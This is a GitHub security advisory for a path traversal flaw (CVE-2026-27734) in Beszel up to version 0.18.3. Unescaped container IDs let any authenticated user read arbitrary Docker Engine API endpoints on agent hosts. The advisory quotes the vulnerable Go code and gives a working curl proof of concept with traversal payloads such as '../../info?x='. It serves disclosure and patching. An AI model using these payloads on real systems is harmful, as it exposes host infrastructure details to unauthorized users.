Skip to content

Docker API Path Traversal via Unsanitized Container ID

Moderate
henrygd published GHSA-phwh-4f42-gwf3 Feb 27, 2026

Package

gomod github.com/henrygd/beszel (Go)

Affected versions

<= 0.18.3

Patched versions

>= 0.18.4

Description

Summary

The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.

Details

Hub (internal/hub/hub.go:407-426): containerID from query param is only checked for emptiness, no format validation:

containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" { ... }
data, err := fetchFunc(system, containerID)  // passed directly to agent

Agent (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:

endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID)
endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail)

Go's http.Client preserves ../ in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.

PoC

Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).

# Authenticate
TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \
  -H "Content-Type: application/json" \
  -d '{"identity":"user@example.com","password":"password"}' | jq -r '.token')

SYSTEM="<system_id>"

# Path traversal: Docker version (returns full engine version, kernel, Go version)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \
  -H "Authorization: Bearer $TOKEN"

# Path traversal: Docker system info (returns hostname, OS, container count, network config)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \
  -H "Authorization: Bearer $TOKEN"

# Path traversal: List all images (triggers unmarshal error confirming traversal works)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \
  -H "Authorization: Bearer $TOKEN"

All three requests returned real data from the Docker Engine API on the agent host.

Impact

Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.

Researcher

Sergio Cabrera
https://www.linkedin.com/in/sergio-cabrera-878766239/

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-27734

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits